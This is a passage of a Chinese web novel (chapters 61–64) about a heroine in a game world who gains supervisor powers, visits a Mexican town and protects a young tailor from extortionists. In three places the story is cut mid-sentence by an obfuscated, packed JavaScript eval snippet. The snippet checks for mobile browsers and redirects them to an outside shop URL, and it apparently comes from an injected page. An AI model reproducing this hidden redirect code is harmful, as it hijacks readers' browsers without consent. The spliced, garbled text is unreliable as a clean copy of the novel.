宁昭心头警铃大作。克洛斯现在这个态度，分明是孔雀开屏开始求偶了，不是个好兆头。 “克洛斯，我是为了保住我的性命才那样做的，你谢我归谢我，但别把我当恩人。” 思忖了片刻，宁昭又开口：“我相信如果是我受伤了，你也会保护我的。举手之劳，你千万别太把我当回事。” 她不能让克洛斯爱上她。 不知道是不是听出了她的话外之音，克洛斯轻笑笑：“你想不想多了解一点我这个人？” “不想。” “你好无情。” 虽然嘴上这么说，但克洛斯一点都没有被疏远的落寞，眸色反而深不可测起来：“那沈书言呢，你想了解他吗？” “我喜欢他。” 为了将他的想法掐死在摇篮里，宁昭不假思索：“我对他一见钟情，看到他的第一眼就喜欢上他了，所以……” 她转头，直面克洛斯那张略显苍白的脸：“我当然想了解他。我相信，我会有机会对他进行深入了解的。” 其实已经很深入了解过了。 她心底默默吐槽了一句。 “既然是一件钟情，怎么不敢当着我的面说？” 还未等克洛斯说话，沈书言戏谑的调侃声就从头顶传了过来。 61. 沙漠生存指南 突如其来的声音吓得宁昭一激灵。她猛地抬头，但视线里却没有任何身影，就好像刚才听到的男声只是她的幻觉。 克洛斯略显不耐地皱了皱眉。 “沈书言？” 确信自己刚才听到了沈书言的声音，宁昭试探着叫了一声。 没有应答，但随之而来的是一阵窸窸窣窣的声音。 而后，一抹银白色的身影从山洞上一跃而下，沈书言便这样出现在他们面前。 “你故意等着看我死呢，这么晚才来？” 原本心情就不好，见沈书言还是一脸吊儿郎当的表情，克洛斯没好气怼了一句。 “你想死也可以啊，我带她一个人走。” 他的尾巴还没收起，眼瞳也变成了金色，显然是刚才化身了兽形态，还没变回来。 走到宁昭身边，低头看了眼她已经包扎好的伤口，沈书言蹲下身去解绷带：“对我一见钟情，怎么不敢当着我的面说？” 他还对宁昭那句话念念不忘。 “……谁不敢当着你的面说了，船上不是一直在忙正经事吗？” 宁昭没有回避这个话题，语气十分坦然。 既然是做戏，那干脆就做到底，彻底断了克洛斯对她的心思。 “那你的意思，是真的喜欢我？” 余光瞥到克洛斯的脸色渐渐变冷，沈书言理都不理，继续和宁昭说话。 刚包扎好的伤口又被拆开，虽然沈书言的动作很轻，但宁昭多多少少还是感觉到一些疼痛。 “嗯，真的。” 忍住腿上传来的疼痛，宁昭点点头：“但你不需要给我回应，我是单相思。” 沈书言没想到宁昭会这么直白，竟也一阵无言。 这时，她的伤口已经完全袒露在他面前。 宁昭本以为沈书言有什么灵丹妙药要帮她敷，结果发现他只是用尾巴轻轻在她的伤口上扫了扫。奇迹般地，小腿上的疼痛消失了。 她忽然想到之前在《塞尔维亚的舞女》副本，沈书言有受过一次伤，也是像今天这样很快痊愈。 这个技能她是真的眼红。 “走吧。” 治好宁昭的伤口后，沈书言利落地起身，将手递给他。 宁昭没让他扶，自己站了起来。起身后，她看了眼克洛斯：“你好兄弟呢？” “好兄弟说我想故意弄死他，我怎么能辜负他对我的期待呢。” 他说话时夹枪带棒，虽语气听着像开玩笑，但行动上却完全没有帮克洛斯的意思。 克洛斯脸色很冷，但没有反驳他，也没有说话。 虽说现在的沈书言和宁昭认识的队友哥差距很大，但宁昭知道，他不是会故意对朋友见死不救的人。 显然，他和克洛斯之间产生了分歧或矛盾，只是因为目前情况不方便关起门来处理问题，所以他才会用这样的方式表明自己的态度。 说不帮就不帮。再去看沈书言，他身后的尾巴已经收起，手上还多了张地图。 接过地图展开，宁昭看到上面有个标了红的圈。 等她用技能时，沈书言的目光从地上滴滴点点的血迹顺延到山洞外，看到草地上红了一大片，想也知道这里刚才发生过怎样激烈的搏斗。 不知怎的，他心下动了动：“我在山里找地图费了些功夫，才来得晚了些。” 事实就是这样。他随身没带地图，只能通过gps技能去山谷里找。好不容易找到一张探险员遗落在山里的地图，他拿到后就立马去寻找他们，却没想到他们已经遭遇了险境。 但这句话说完他便后悔了。人家没问，他巴巴的去解释自己不是故意来晚的，多多少少有些此地无银三百两。 他怕宁昭看出端倪，岔开话题：“走吧。” 宁昭倒没想那么多，点了点头，把手伸给克洛斯和沈书言。 “抓住我。” 几秒后，他们便消失在了山洞里。 * “滚去地下室，自己领罚。” 回到别墅，沈书言看都没看克洛斯，扔下这么一句便上了楼。 小五看到沙发上脸色苍白的克洛斯，忙跑过去，直到沈书言进了电梯，他才紧张兮兮地悄声说：“二哥，我去叫医生。” “不用。” 克洛斯将手递给他：“扶我一把就行。” 小五把手递给他，动作间还在不停念叨：“二哥，大哥也不是故意要这样对你，实在是因为……” “闭嘴吧。” 克洛斯语气淡淡，在他的搀扶下往地下室的方向走去。 宁昭看着他们的背影，一阵无言，最后什么话都没说，巡着记忆中的路线上了楼。 余光刚好瞥到沈书言推门进了一个房间，她想也没想便跟上去，敲响了房门。 “进来。” 这是一个偌大的书房，空气中飘着淡淡的墨香，满墙的书架摆得很高，地上铺着软和厚实的天鹅绒地毯。 像是知道宁昭会跟来似的，沈书言眼皮抬都没抬，熟稔地点了根烟：“想谈控制权的事？” 他在书桌后的椅子上坐下，看向宁昭的双眸里多了些深意：“你不属于这个世界，为什么要控制权？它对你来说没有任何用处。” 白蒙蒙的烟雾在他面前氤氲：“还是说，你打算待在虚妄之都，永远都不走了？” “我自有我的道理。”宁昭不喜欢他抽烟，但想到未来的他很听话，她还是忍了：“不过，柯尔特的事我没怎么帮到你，只是帮忙做了个幻境，所以控制权给不给随你。” “给，为什么不给。” 沈书言拉开抽屉，里面飘出一枚芯片。他稍微动了动手指，芯片飘到宁昭面前，还未等她反应，刺痛感传来，它被植入进了她的身体。 宁昭眼前立刻现出不一样的场景—— 【您好，监管者。您已开启以下权限： 1.虚妄之都中的任何伪装都将无法逃过您的眼睛。您能看到玩家拥有的一切技能。技能随机发放，您也可以定向投放。 2.您可以给予玩家一定的帮助，包括但不限于降低游戏难度、修改游戏数据、定向投放副本等，具体内容可在工作手册中进行查看。［工作手册］ 3.您无法对抗游戏机制。一旦进入副本，您必须像普通玩家一样进行探索。但您面临的最坏结果是被送进惩罚副本，您不会死。 4.您可以对游戏场景进行改造。 5.您的技能得到升级：在您获得一张地图后，它将永久存放在您的背包中，您可以无限制使用它，它不再是消耗品。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13879360|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 6.您可以移交您的权限，但这个操作是不可逆的，请谨慎。 7.所有NPC将听从您的调令。您有权处置他们的去留与生死。】 这么洋洋洒洒还只是第一页，后面还有好多，她没一一细看。 直到看到系统顶端标注的权限30％的数字后，宁昭惊讶：“你给了我将近三分之一？” “不要还我。” “要啊，凭什么不要。” 宁昭才不整那欲拒还迎的戏码，连忙将控制面板收起：“你不会后悔的。” 她要控制权并不是想称霸虚妄之都，只是想让未来的沈书言能有条退路。 想到那天克洛斯说虚妄之都已经不是沈书言做主的事，宁昭的心中便觉得不安。如今有机会回到过去，她觉得一切都是上天冥冥之中安排好的。 他为她默默做了那么多，她也应该为他做些打算才是。 不过她不明白，为什么他会愿意把这样重要的东西交给一个只认识一天的女人。 “我知道你想问我什么。” 一根烟的功夫，他将烟头按灭在烟灰缸中，抬头看她：“你这么聪明，不妨自己猜一猜？” 让宁昭来猜，首先排除情情爱爱的可能性。 结合今天发生的事，她很容易就猜到一个答案：“你怕克洛斯要反。” “聪明，不过用词不太恰当。” 沈书言看着她，眯了眯眼睛：“怕倒是不至于。” “你是在做第二手准备。” 宁昭了然：“但我们只认识了一天，你就算要未雨绸缪，也给不到我头上。” 关于这个问题的答案，她还是没想明白。 “我看不清你，但我能猜到，你不是第一次见我。” 端详着宁昭的脸，沈书言沉默了好一阵：“这把枪，整个虚妄之都只有一把。” 一把黑色的枪被扔到桌上，它的握把刻着一个烫金的雕花印记，和宁昭白天在直升机上拿出来的那把一模一样。 “我可以看到所有玩家的技能、成就，包括曾经历过的副本与你们能看到的一切，但唯独你，” 他黑色的双瞳讳莫如深，像一池深幽的池水，叫人看不清情绪：“我除了你的技能之外，什么都看不到。” “但是看到这把枪，我大概懂了。” 他继续道：“你手里的那把一定是我给你的。但我以前从来都没有见过你，所以你是从未来来的，对么？” 只靠这一个细节，沈书言就把事情的前因后果推算了个大概。 虽然虚妄之都是他建立，但庞大的国度一旦形成，他就不能再面面俱到地了解到每一处细节。而因时间推移逐渐形成的bug与非自然现象，他就更没办法及时控制与解决。 这也是为什么他今天会被敌人算计了一把。 他不讨厌宁昭，也谈不上多喜欢。但她手中有那把枪，就说明未来的自己是很信任她的。 他当然不信一个萍水相逢的女人，但他信他自己。 “没说话，看来我猜对了。那么，我能不能问一句……” 他的目光落到她的脖颈，那里还沾着血迹，与原本印在她肌肤中的红痕几乎要融为一体，他却仍能分辨出它们的区别。 “我们两个人，在未来是什么关系？” 62. 沙漠生存指南 他的目光很有压迫感，宁昭想撒谎，却一时间什么话都说不出来。 他们之间的关系，准确来说是男女朋友，但硬要说成是夫妻关系的话，好像也不是不行。 于是，她拿出他们的“结婚照”，推到他面前。 目光落在照片上看了一会儿后，沈书言身体微微后仰，靠在椅背上，若有所思地看她：“这是我干的？” 宁昭被问的一愣，后知后觉意识到他说的是她脖子上的吻痕，她有些好笑：“你很在意？” 他点点头，理所当然：“都夫妻了，关心一下应该的。” 人不要脸天下无敌，宁昭懒得理他。她将桌上的照片拿回来收好：“反正，控制权交给我，我不会让你吃亏。” 只是她这样做的目的，沈书言可能得很久以后才能知道。 看着宁昭离开的背影，沈书言没有作声，眼神却变得意味深长。 * 有惊无险地经过这么一遭，宁昭算是安然无恙地在这个支线副本里存活了下来。 好消息是获得了虚妄之都30％的控制权，手里多了些权力，干什么都觉得爽快。坏消息是她回不去，哪怕是监管者也得老老实实过完游戏副本才能回到主神空间。 她暂时在这栋别墅里住了下来，但是那天之后，她再也没见过沈书言，也没见过克洛斯。 倒是小五经常出现在别墅里，看到她时会恭恭敬敬问好。不过他从不透露沈书言的行踪，也不肯说克洛斯的近况，宁昭问不出东西，就随他去了。 只是偌大的别墅待着着实无聊。享受了几天皇帝生活后，宁昭在家里坐不住，便想去外面晃晃。 问了小五，得知往西南方向几十公里的地方有一个小镇，镇上不仅有集市，还有墨西哥特色小吃。她顿时来了精神，要了张地图就一个人去了小镇。 好在她的技能已经升级成永久可用了。这就意味着她可以免去所有路上会耽误的行程，想去哪里去哪里，随时随地实现空间移动。 就算她想在这个副本里来个全球旅行，理论上也是可行的。 这个小镇和上次沈书言带她去的那个差不多，远远看去，到处都是彩色的楼房，像是斑斓的绸缎，在阳光下晃动出如水般的波澜。 【您已解锁新地点。是否隐藏监管者标识？[注：开启此按钮后，您将隐藏您的监管者身份，除监管者以外的任何人都将看不出您的伪装。]】 宁昭果断选择了“是”。 之前她是玩家身份，所以在一些别有用心的npc眼里她就成为了明晃晃的靶子。隐藏标识可以降低她的存在感，也能让她少惹些麻烦。 不知道是不是早市的缘故，街上来来往往都是人。她们大多神色悠闲，不少人的脸上还挂着恬淡的笑，和现实世界里在街头匆匆忙忙行走的都市丽人相比，倒是真多了几分松弛感。 鼻尖飘来食物的香气，宁昭没吃早饭，这会儿肚子有些饿，便顺着味道去找小吃摊，果真在一个不起眼的拐角处看到了一个……中式早点铺。 摊子上摆着油条、小笼包子、豆腐脑，甚至还有梅菜扣肉饼。都是地地道道的中国小吃，她这个中国胃完全被吸引住，没有任何犹豫就走了进去。 结果老板竟然是个中国女人。 “姑娘，你可真漂亮。” 看到宁昭，老板眼都亮了，连忙招呼：“想吃些什么？” “一碗粥，半笼小笼包，再来一根油条。” 她平时的食量不大，今天点的已经算多的了。仗着在游戏里长不胖，她不再节食，只想吃个痛快。 “好嘞——” 老板立马去忙活，而宁昭看着她忙碌的动作，心头有些惆怅。 虽然是在游戏里，可这里的一切和现实生活却又没有什么不同。她能看清面前女人的身份，她只是一个普通的npc，靠开店谋生，过着日复一日的生活，也许她一辈子都不会知道，在这个世界之外，还有另一个现实的世界。 但这个瞬间宁昭却觉得有些玄幻了。 既然都差不多的话，她又凭什么认为她所在的那个世界就是现实的呢？ 她点的东西一样样被放到桌上，宁昭端起白粥喝了一口，米香扑鼻而来，口感细腻醇香，只喝了一点，她就感觉整个胃都暖了起来。 “这里很少来游客，大部分都是本地人。” 老板笑笑：“我从来没见过像你这么漂亮的中国女孩。” “老板，您是中国人，怎么想到来这里开店？” 想到在npc眼里她此刻也是npc的身份，宁昭开口这样问道。 “我的老公是墨西哥人，结婚后，我就和他一起来了这里。” 提到丈夫，女人笑了笑：“虽然日子过得不算好，但起码能活下去。” 听到这里，宁昭没再说话，朝她笑笑后便低头吃起了饭。 临走时，她叫住老板：“请问您知道这座小镇里哪里有裁缝店吗？我有衣服需要修补。” 这也是她今天来这里的主要目的。 “噢，去找艾琳娜吧，她的手艺是镇上一等一的好。就往前走五个路口然后左转，她家的招牌很大，你一看就能看见。” “谢谢老板。” 宁昭笑着和她告别，临走前，顺手在桌上放了一大把钱。 顺着老板说的方位走，她果真在一个转角处看到了大大的裁缝招牌，上面写着“ELENA”的字样，是艾琳娜没错。 推开门，宁昭发现这家店只是招牌比较大。其实它的内部环境很小，像她这样娇小的身躯走进去都显得拥挤了不少。 门口的风铃随着她开门的动作碰撞出清脆的声响，内室顿时响起女声：“我来啦——” 她说的是英文，宁昭能听懂。 一个穿着粗布连衣裙的女孩很快便走了出来。她是标准的北美洲姑娘，长得很漂亮，脸上稍微有些雀斑却不影响她的美丽，哪怕穿着暗色的衣服也挡不住她浑身的灵气，宁昭看了一眼就喜欢。 “你好漂亮！” 谁知，艾琳娜的反应却比宁昭还要夸张。她毫不吝啬她的夸奖：“上帝，你们东方的女人真的太漂亮了！请问你是要补衣服吗？” 提到这茬，宁昭赶紧把背包里的裙子拿出来：“这条裙子的裙摆被撕破了，我想改一改，又怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948768|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己改不好，所以来麻烦你。” 裙子是缎面丝绸质地，一个照顾不好就会开线起球。宁昭昨天穿着这条裙子单挑了两只野狼，回到别墅后才发现衣服坏了一大块，她又不敢随便补，这才问了小五这个小镇的方位。 “哦，真可惜。” 艾琳娜接过连衣裙，遗憾地摇了摇头：“裂了好大一块。我可以补好，但我的店里没有这样好的布料。” “布料市场可以买到吗？” “可以，只是价格……” 看到艾琳娜的表情，宁昭了然。 “价格不是问题。你告诉我市场在哪里，我去买回来。” 这条裙子是沈书言送给她的，意义非凡，她不想就这么弄坏。 得到具体方位后，宁昭就往市场的方向去了。 因为距离稍微有些远，她去报刊亭买了张小镇的地图，省下了来回的时间，但在店里选布料仍然费了些功夫，等她回到艾琳娜的店铺时，已经接近晌午时分了。 而这时艾琳娜刚锁好店门，手里提着一个盒子，不知道要往哪里去。 看到宁昭，她惊讶：“这么快就买来了？” 她估算着市场的距离很远，宁昭应该要好一会儿才能回来，她刚好能出去办个事。 “你要去什么地方吗？” 看到锁上的房门，宁昭问道：“我不着急，我可以等。” “那我帮你把门打开，辛苦你等一下。我要给在码头上工的爸爸送饭，很快就会回来的。” 这句话说完，艾琳娜手忙脚乱就要开门。 “艾琳娜，我可以跟你一起去吗？” 听到码头两个字，宁昭多多少少有些敏感。不知道为什么，她突然间福至心灵，就想跟着艾琳娜一起去看一看。 “当然！” 没想到这个漂亮的女人竟然这么好相处，艾琳娜受宠若惊地点头，朝她露出明媚的笑容：“可以告诉我你的名字吗？我很喜欢你。” “我是从中国来的，我叫宁昭。” 两人就这样一边说着，一边往街道尽头走去。 其实不用艾琳娜介绍自己，宁昭一眼就能看到她的生平过往。她也只是一个npc，拥有精湛的手工技艺，是这坐小镇里数一数二的裁缝。 这座小镇靠海，所以不少户人家以海外贸易与航海业为生。虽然艾琳娜的父亲不像那些发达的商户一样可以赚大钱，但在码头当搬运工，做卖力气的体力活，每天的收入看起来也很可观。 “那就是我的父亲——” 离得远远的，艾琳娜伸手指了指正在搬运几个箱子的男人，语气温柔：“爸爸每天都很累，这里的饭菜又很不可口，所以我每天都会来给他送。” 宁昭顺着她指的方向看过去，果然看到一个肤色黝黑的男人，身上只穿了件黑色的背心，被汗水给淋了个透湿。 “走吧。” 艾琳娜拉着宁昭的手想一起过去，宁昭却发现就在他父亲所在地的不远处有一个鬼鬼祟祟的男人。 他的眼神看起来很精明，探头探脑像是想表现得正常，但演技却不够精湛，一眼便被宁昭看到了破绽。 63. 沙漠生存指南 目光对准那男人，面板上立马出现数据分析。 ［胡安：46岁，墨西哥人，中级npc，无权限，港口工人，可抹杀。］ 看到这行字，宁昭心下奇怪。 既然是没有权限的普通npc，何必露出这么紧张的表情？显然是做了什么亏心事。 不过她的权限只能看到这些内容。想知道更多的话，还是得自己去探索。 “爸爸！” 艾琳娜没有注意到这微小的细节，像往常一样离得远远的就开始给她的父亲招手。 走过去的一路上，宁昭的余光一直往胡安身上瞥。但他好像发现了她们，再看过去时他的异样表现已经消失，变得和周围工人没有什么两样，也不再引人注目。 ［潘斯：50岁，墨西哥人，中级npc，无权限，港口工人，可抹杀。］ “今天做了奶酪薄饼和粉蒸肉，天太热啦，我还给你带了一份冰米浆。” 艾琳娜将手中的餐盒递给潘斯：“今天妈妈说她会提早下班做晚餐，我们等你回来。” 潘斯用毛巾擦了擦脸上的汗，但皲裂的皮肤上仍能看到被阳光照亮的汗珠。他露出慈父般的微笑：“辛苦了，艾琳娜。这位是……” 大概是宁昭美得太过招摇，即使她没有靠近这里，也仍然吸引了许多人的目光。有个不过二十岁出头的小伙子看迷了眼，还不小心把手里的箱子给弄掉了，闹了好大的洋相，惹得周围一片打趣。 “这是我的顾客，来找我缝补衣服。我现在就得回去工作了，爸爸，我们晚上见。” 突然想起宁昭是和她一起来的，艾琳娜回过神，匆匆和他告别。 离开时，宁昭又看了胡安一眼，发现他老老实实地在搬东西，就好像刚才她看到的一切都只是错觉。 艾琳娜是个很活泼的女孩，一路上和宁昭说了不少小镇见闻，宁昭听得认真，心情自然而然也得到了放松。 有了宁昭在市场上淘回来的高级布料，艾琳娜的手艺也有了用武之地。待到她把裙子补好，原本已经扯坏的地方已经连一点缝补的痕迹都看不出来了。 宁昭悬着的心放下，小心翼翼地将裙子收好，抬头看向艾琳娜：“这样的缺口都能修补好，你真的很厉害。” 以前走红毯时穿过太多礼服，它们的唯一共同点就是脆弱，别说是撕扯了，连稍微弄皱一点都很难恢复原状。所以宁昭一开始只是想把裙子补好，哪怕不能穿，也还能留个纪念。 但她没想到这条裙子会被补得焕然一新，完美到哪怕再去参加几次晚宴都不是问题。 艾琳娜腼腆地笑了笑：“能帮到你就好。以后有需要，还可以来找我。” 一沓纸钞被放在桌上，宁昭把钱推到她面前：“这是你的报酬。” 拿起钱一看，给的还是美钞。 艾琳娜心惊，忙又推回去：“这太多了，我……” 门口的风景叮铃铃地响起，宁昭像是知道她会推脱一样，已经提前离开了。 这么多天下来，她已经把这个世界摸索得差不多了。 在她认为，虚妄之都和现实世界其实并没有什么太大的区别。唯一的区别也许就是这里的人大致分为npc和玩家，每个人各司其职，清楚地知道自己的身份。 与其说是另一个世界，不如说是一个巨大的游戏。 但这和游戏又不一样。这里的npc有自己的生活、自己的思想，他们清楚他们的职责所在，也会在规则范围之内拥有各自的生活。 而宁昭迟早都会脱离这个游戏的——不是死掉就是回到现实世界。反正不管是哪种，钱财这种身外之物对她来说都是没必要的，她不介意在她力所能及的情况下帮一帮她觉得有眼缘的人。 现在她有更重要的事情去做。 拿出小镇地图，她再次回到了刚才的港口。 直觉告诉她这里有情况，反正天色还早，她不介意在这里多停留一会。 为了避免惹人注目，她在身上贴了隐形贴纸，做好这一切后，她这才走近码头，一眼就看到了刚才鬼鬼祟祟的胡安。 “这批货搬完了，你那边没问题了吧？” 拐角处，刻意压低的男声响了起来。两人交谈时说的是西班牙语，但宁昭自带翻译系统，能轻松听懂他们的密谋。 她侧头看了一眼，发现正在交谈的男人正是胡安和艾琳娜的父亲潘斯。 胡安嘴里叼着一根快燃尽的香烟，虽然姿态慵懒，但目光却在四周不停逡巡，貌似是时刻注意四周的动向。 “没问题，已经联系好晚上交货，你可以给我了。” 相比较胡安的熟稔，潘斯看起来却有些紧张。他凑到胡安面前，两人手肘被衣服挡住的地方稍微磨蹭了下，不知道交换了什么东西。仅短短两秒的时间，他们之间的距离又恢复了正常。 显然，他们在做交易。至于做的是什么交易，猜也能猜得到。 Npc有了自己的思想后，做出的行为也会渐渐脱离系统的控制。就好像在现实世界中，就算有法律的束缚，仍会有一大批人铤而走险，在法律的边缘试探。 只是宁昭作为掌权者，有直接抹杀他们的权利。 但她不会这样做。相反，看到这一幕的她反而觉得忧心。 艾琳娜天真烂漫，她的父亲却在背地里做不干净的交易。虽然她只是个npc，但宁昭还是不由得感觉到愤怒。 大概是怕被人发现，他们换完东西后很快就走了。宁昭却仍然待在原地观察他们的行为，看了好一会儿，再没发现什么异样。 “你为什么会生气？” 耳边传来一道轻飘飘的男声。 宁昭刚才看得认真，一点都没注意到她身边突然出现的男人。 她心惊，转头一看，发现站在她身边的人竟然是时也。 “……” 所以兜兜转转，她以前认识的人，都是她“以前”认识的人？ 时也还是那副病秧子的模样，长得倒是挺帅，但身材薄薄一片，好像来阵风都能吹倒，连苍白的肤色都能与天生冷白皮的宁昭抗衡。 “你怎么知道我生气了？我没有表现在脸上吧。” 宁昭稍微往后退了退，身侧的墙壁立马挡住她的身影。这样一来，在码头做工的工人们就看不到他们两个了。 虽然心里确实有怒火，但宁昭一直面无表情，甚至可以说是冷眼观察着面前的一切，她不知道时也是怎么看出她情绪的。 她想去看时也的身份，但面板没有动静，她什么都看不到。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049364|135126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 所以时也要么就是权限比他更高，要么就是不属于这个世界的人。 “我可以感受到。” 时也的目光深远，让人看不分明他究竟在看什么，但他的语气却熟稔坦然，没有半点想隐藏什么的意思。 “这些事情沈书言都知道，但他从来不管，你知不知道为什么？” 他将目光收回来，落在了宁昭的脸上。 “懒得管。” 现在的沈书言性格太好摸了，宁昭没过脑子就得出了答案：“哪怕是监控都摆在面前也不能时时刻刻注意到每个npc的动向，这些小打小闹的事情，他不会管。” 就算要管，管的也该是这些小喽啰背后类似柯尔特之流的大Boss。 “你说得不对。” 见宁昭的表情如此笃定，时也笑着摇了摇头：“不是懒得管，而是这样的行为在虚妄之都是被默许的。” 她看向他：“你很了解？” “当然。”时也理所当然地点头：“一切不违背游戏规则的行为在虚妄之都里都是被允许的。不过有一点你说对了，这些npc不管怎么搞都翻不出太大的水花，所以沈书言管了也没什么意义。” 和现实世界一样，有安稳本分的好人，就会有狡猾凶狠的坏人。只是如果坏人的行为被默许，到最后好人越来越少、矛盾越来越多，这个国度最终只会迎来毁灭。 “放心吧，不会毁灭的。” 像是看穿了宁昭的心思，时也打了个响指，她面前顿时浮现一个虚拟的画面。 画面里有一个天平，左边是一个写着“罪恶”的砝码，而右边的砝码上写的则是“正义”。 写着“罪恶”的砝码比另一个砝码大了一圈，理所当然地，天平左低右高，左边的快要压到了最下面。 “如果将这两个砝码放在天平上，那最终的结果就是你看到的这样。不管罪恶和正义的比重有多不协调，它们最终都还是会稳稳落在托盘上，这就是最差的结果。” 像是意识到什么，宁昭微微皱眉。 “但你们的现实世界却是这样的。” 说到这里，时也晃了晃手。面前的天平消失，取而代之的是一根悬挂在钉子上的绳子。绳子两边一开始挂着重量相等的砝码，但左边写着“罪恶”的砝码却变得越来越大，绳子也随着它的变化开始往□□斜。 直到代表着“罪恶”的砝码大到一定程度，绳子终于拉着右边那大小始终如一的“正义”砝码一同掉落在了地上。 “一旦罪恶到达一定的比重，正义将无法与它抗衡。届时，世界会毁灭，人类会迎来新生。” 看着宁昭的表情，时也再次打了个响指，面前的画面消失。 “虚妄之都就是那个托盘。只要托盘在，不管这里的罪恶有多少，它都会以这样不平衡的姿态与正义一同被摆在天平上。因为有托底，所以这里永远都不会毁灭，只会无限趋近于地狱。正义的人苦苦挣扎，而罪恶的人却收获得盆满钵满，就像你刚才看到的那样。” 宁昭彻底听懂了。她明白时也想要表达的意思，但她仍然有自己的考量：“这个世界不是我的世界。我只会做我觉得正确的事，无论正义还是罪恶。” 她忽然知道自己接下来要怎么做了。 64. 沙漠生存指南 “这就走了吗？不问问我是谁。” 宁昭刚迈步想走，背后又传来时也的声音。他的语气还像以前那样，一本正经中夹杂着些微的调侃。 “不必了。” 她头也不回，落在时也眼中的，只有一个披散着蓬松金发的俏丽背影。 再次回到艾琳娜店铺所在的街道，天色已经到了黄昏。忽然，几个魁梧的身影出现在宁昭的视线里，他们从路口进来，大摇大摆地往前走，明摆着是往艾琳娜的店铺去的。 看穿他们的来意，宁昭皱眉，快步往前走，却还是慢了他们一步。 他们进去没几秒，里面就传来玻璃碎裂的惊天动地的声响。 宁昭跑到门口一看，发现这几个魁梧大汉挤在狭窄的店铺里，一进门就开始疯狂砸店，吓得艾琳娜连声哀求：“求你们不要再砸了！” “我上周就说过，今天再不把钱拿出来，你这店就别想再开下去了！” 说话的是个光头男，脖子上纹满了纹身，身形肥胖，面相彪悍凶狠，很符合宁昭对街头混混的刻板印象。 宁昭也是在这时才想起，她现在所在的国家是墨西哥。这里的治安在全球范围内都是出了名的差。 另一个瘦得像猴一样的小跟班看起来倒没这么凶狠。他嬉笑着挑起艾琳娜的下巴：“本来看在你爸的面子上，我们还可以留你一条命。但要是你一直这么不知好歹，就别怪我……” 下半句没有说，但其中意思已经昭然若揭。 到底是个小女孩，艾琳娜吓得浑身哆嗦，说话都说不利索：“我、我还有一些钱，我先拿给你，可不可以先别砸……” “给你三分钟时间，” 光头男一脚把缝纫机前的凳子踢得散架，叮铃哐当的声响砸得人心烦意乱。 艾琳娜也再次被吓到，连声说好之后就去里屋拿钱。 “咔”的一声，宁昭拉开门。 听到声响，里面的人下意识转头。看到来了个这么貌美的女人，他们还没来得及面露喜色，宁昭就已经抬手，将枪口对准光头男的额心。 “你……” 光头没想到宁昭这么硬气，心头怒火上涌。本想上前给她点颜色瞧瞧，却在看到她“监管者”的标识时顿露惊恐的神色：“监、监管……” 话都说不利索，腿一软，七尺大汉就这么跪到了地上。 “想不想死？” 虽枪口直勾勾指着光头，但宁昭并没有开枪的意思，而是慢悠悠地询问着他们，语气轻蔑又漫不经心。 见状，除光头外的男人也跪下，看起来比他还害怕。瞥见宁昭居高临下的表情，他们头摇得像拨浪鼓：“不、不想……求您……” “那就赶紧滚。” 说罢，宁昭侧身，为他们让出一个出口：“少墨迹。” 那几人如临大赦，连滚带爬的跑出门：“不会了，我们不会了！” 见他们一路狂奔着跑远了，宁昭松口气，将手中的枪收进了背包。 杀了他们很简单，但治标不治本。 她不知道他们身边还有多少作恶的同伙，也不能直接让人死在艾琳娜的家里。不过，她已经记下了他们的姓名和编号，等到他们回了老巢，她会送他们一个死亡大礼包。 这些就没有必要让天真善良的艾琳娜知道了。在那几个男人离开后，宁昭立马隐藏了“监管者”的标识。 “宁、宁小姐？” 拿着钱出来的艾琳娜看到店里已经没了那几个男人的身影，一时不明白究竟发生了什么。但她还是下意识地走出去：“您先离开，不要待在这里……” 艾琳娜并没有意识到那几个彪形大汉就是宁昭赶跑的，一心只想让她赶紧离开这个是非之地。 “没事了，他们离开了。” 看到艾琳娜手还在抖却仍然故作坚定的模样，宁昭拍了拍她的肩：“刚好有个警察路过，把他们带走了。” 面对这现诹的胡话，艾琳娜将信将疑，但又说不上哪里奇怪。 “那就好……” 不管怎么说，人确实是不在了。艾琳娜松了口气，捏着钱的手也逐渐放松：“只是今天不来，明天他们还是会来的。” 想到这里，她的神经又紧绷了起来，身后又冒出冷汗。 “放心吧，他们不会再来了。” 宁昭语气坚定：“相信我。” 不知为何，明明宁昭没有给她任何承诺，说的也只是这样轻飘飘的一句话，但艾琳娜就是下意识愿意相信她。这是一种不知从何而来的第六感。 她点头：“好，我相信你。” 想到宁昭再次出现在店里，艾琳娜后知后觉：“你怎么又来啦？是不是衣服有什么问题？” “刚好路过。” “那我们可真有缘分呀——天色也不早了，马上妈妈就回来了，你留下来吃晚餐好不好？你给了我很多钱，我不知道要怎样报答你。” 把宁昭当成朋友的艾琳娜亲昵地挽住她的手臂。 